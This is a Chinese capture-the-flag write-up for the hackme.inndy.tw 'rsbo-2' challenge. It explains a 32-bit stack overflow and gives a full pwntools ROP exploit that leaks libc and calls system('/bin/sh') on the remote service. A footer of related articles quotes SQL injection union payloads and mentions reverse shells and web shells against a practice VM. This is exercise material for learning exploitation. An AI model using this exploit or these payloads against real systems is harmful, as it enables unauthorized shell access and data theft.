hackme.inndy.tw rsbo-2

2024-01-15 17:48
文章标签 tw inndy hackme rsbo

本文主要是介绍hackme.inndy.tw rsbo-2,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前置知识

栈溢出

ROP

保护机制

没有金丝雀canary,但开启了栈执行保护,可以利用rop

关键代码

read_80_bytes函数实际上读了0x80字节,已经可以覆盖main返回地址并且还多溢出0x20-8字节,完全够了

而经过调试,需要覆盖108字节的填充字符,接下来才是返回地址

利用思路

1、利用write leak出libc

2、ROP

具体过程

1、先运行一遍程序,返回到start,以便执行过以便write,在内存中留下plt地址

2、调用write,leak出某个函数地址,得到libc基址

3、往bss中先写入/bin/sh

4、调用system

EXP

from pwn import *#context.log_level='debug'
context.os = "linux"
context.arch = "i386"
debug=0
elf = ELF('./rsbo-2')
if debug:cn=process('./rsbo-2')libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:cn=remote('hackme.inndy.tw', 7706)libc = ELF('./libc-2.23.so.i386')
s       = lambda data               :cn.send(str(data))
sa      = lambda delim,data         :cn.sendafter(str(delim), str(data)) 
st      = lambda delim,data         :cn.sendthen(str(delim), str(data)) 
sl      = lambda data               :cn.sendline(str(data)) 
sla     = lambda delim,data         :cn.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :cn.recv(numb)
rl	= lambda 	            :cn.recvline()
ru      = lambda delims             :cn.recvuntil(delims)
irt     = lambda                    :cn.interactive()
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
flag=0x80487d0
start=0x08048490
open=elf.plt['open']
read=elf.plt['read']
write=elf.plt['write']
bss=elf.bss()pop2_ret = 0x0804879e
pop3_ret = 0x0804879d
#leak libc
pay = "\x00"*108+p32(open)+p32(start)+p32(flag)+p32(0)
#padding+ret_addr+next_ret+parameters
s(pay)
pay='\x00'*108+p32(write)+p32(start)+p32(1)+p32(elf.got['__libc_start_main'])+p32(4)
#padding+ret_addr+next_ret+parameters
s(pay)
libc_base = u32(r(4))-0x18540
success('libc={}'.format(hex(libc_base)))#get shell
pay='\x00'*108+p32(read)+p32(start)+p32(0)+p32(bss)+p32(8)
#padding+ret_addr+next_ret+parameters
s(pay)
s('/bin/sh\x00')sys = libc_base+libc.symbols['system']
pay='\x00'*108+p32(sys)+p32(0xdeadbeef)+p32(bss)
#padding+ret_addr+next_ret+parameters
s(pay)
irt()

该程序是32位程序,函数的参数在栈上,因此在ROP时可以直接把参数填到next_ret地址后面。

而如果是64位程序,参数在寄存器上,这时就需要pop_ret这样的gadget来保存参数到寄存器里。

这篇关于hackme.inndy.tw rsbo-2的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/609709

相关文章

.hackme靶机通关攻略

第一步查找ip 通过御剑扫描到IP进入尝试 成功找到靶场 步骤二来到这个靶场注册登录 进来点一下提交出来书名 只有一个框框那就来试试sql注入 1’ and 1=2 --+ 然后查看数据库 -1' union select database(),2,3 # 查看数据库表名 -1' union select group_concat(table_name),2,3

hackme靶机通关攻略

1、登录靶机,查询是否有注入点 2、判断闭合方式 输入OSINT' and 1=1 # 输入OSINT' and 1=2 # 得出闭合方式为单引号 2、查询数据库名 输入-1' union select database(),2,3 # 3、查询数据库中的表 输入-1' union select group_concat(table_name),2,3 from informa

cp_tw_recycle和tcp_timestamps的文章汇总

cp_tw_recycle和tcp_timestamps的文章汇总 [url]http://blog.csdn.net/mei922/article/details/4801858[/url]TCP连接机制 http://blog.csdn.net/caianye/article/details/38540867 http://zhumeng8337797.blog.163.com/blog

tcp_timestamps tcp_tw_recycle引起的服务器连接不上问题

最近一个非常奇怪的问题,多台手机客户端利用公司wifi连接一台服务器,但是频繁出现连接不上情况,而且一台能连接上,另一台就会断开。断开的时候再尝试连接,但是没有apache跟tomcat的任何访问记录,但是3G连接不会出现这个问题。 最近发现一个PHP脚本时常出现连不上服务器的现象,调试了一下,发现是TIME_WAIT状态过多造成的,本文简要介绍一下解决问题的过程。 遇到这类问题,我习惯于先用

hackme靶场练习

文章目录 第1次 测试1.信息搜集1.1 主机发现1.2 端口扫描1.3 端口服务识别1.4 御剑扫描 2.漏洞探测2.1 SQL注入2.2 判断字段数2.3 爆库2.4 爆表2.5 MD5破解密码2.6 超级用户登录 3.getshell的4种方法3-1 MSF反弹shell3-1.1 上传木马文件3-1.2 蚁剑连接3-1.3 上传木马文件3-1.4 kali监听 3-2 nc_shel

【经验总结】tcp_tw_recycle参数引发的故障

tcp_tw_recycle参数引发的故障 By Eric  故障描述:     2010年9月7日,新上线的手机游戏论坛有部分地区用户反应登陆游戏时出现不能登陆或登陆超时等情况,观察用户同时在线数量开始下降情况。 排错过程:     一、初步检查是否有变更导致的故障:           1、联系同事检查网络是否有问题或有对该机房网络是否有进行过调整,反回结果是没有变更操作。

Hackme 1

信息收集 Nmap部分 存活扫描: └─# nmap -sn 192.168.10.1/24Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-20 15:00 CSTNmap scan report for 192.168.10.1 (192.168.10.1)Host is up (0.00012s latency).M

hackme.inddy.tw 逆向之a-maze

按照要求,应该是将map数据文件的数据都读入到qword_601088地址中 直到从数据中读取到的值为0xFFFFFFFF。于是我们到map中看看0XFFFFFFFF在哪里 从0xFB000开始的512字节都是FF,刚好符合1<<9的大小。 简单分析一下,索引下标可以分为两部分:v2和flag,flag占后9位,剩下的就是v2移位后的值。 因此我们可以从最后一个下标开始往前,逐步解

pwnable.tw hacknote write up

程序分析: 程序有四个操作: 1.Add note 2.Delete note 3.Print note 4.Exit 1.Add note 在bss段中存放note的指针,每一个note 包含两个堆块,add的过程中第一个堆块的数据区的开始四字节存放调用puts的函数地址(0x804862b),随后四个字节存放后面存放content 的堆块的地址 2.Delete note 漏洞点发生在De

inndy_onepunch(text段有时是可以修改的)

inndy_onepunch 用IDA分析一下程序,任意地址写一个字节。 想不到的是,text段可以修改,因此,我们可以直接修改text的指令,来达到多次利用。 #coding:utf8#想不到text段竟然可以写from pwn import *context(os='linux',arch='amd64')#sh = process('./onepunch')sh = rem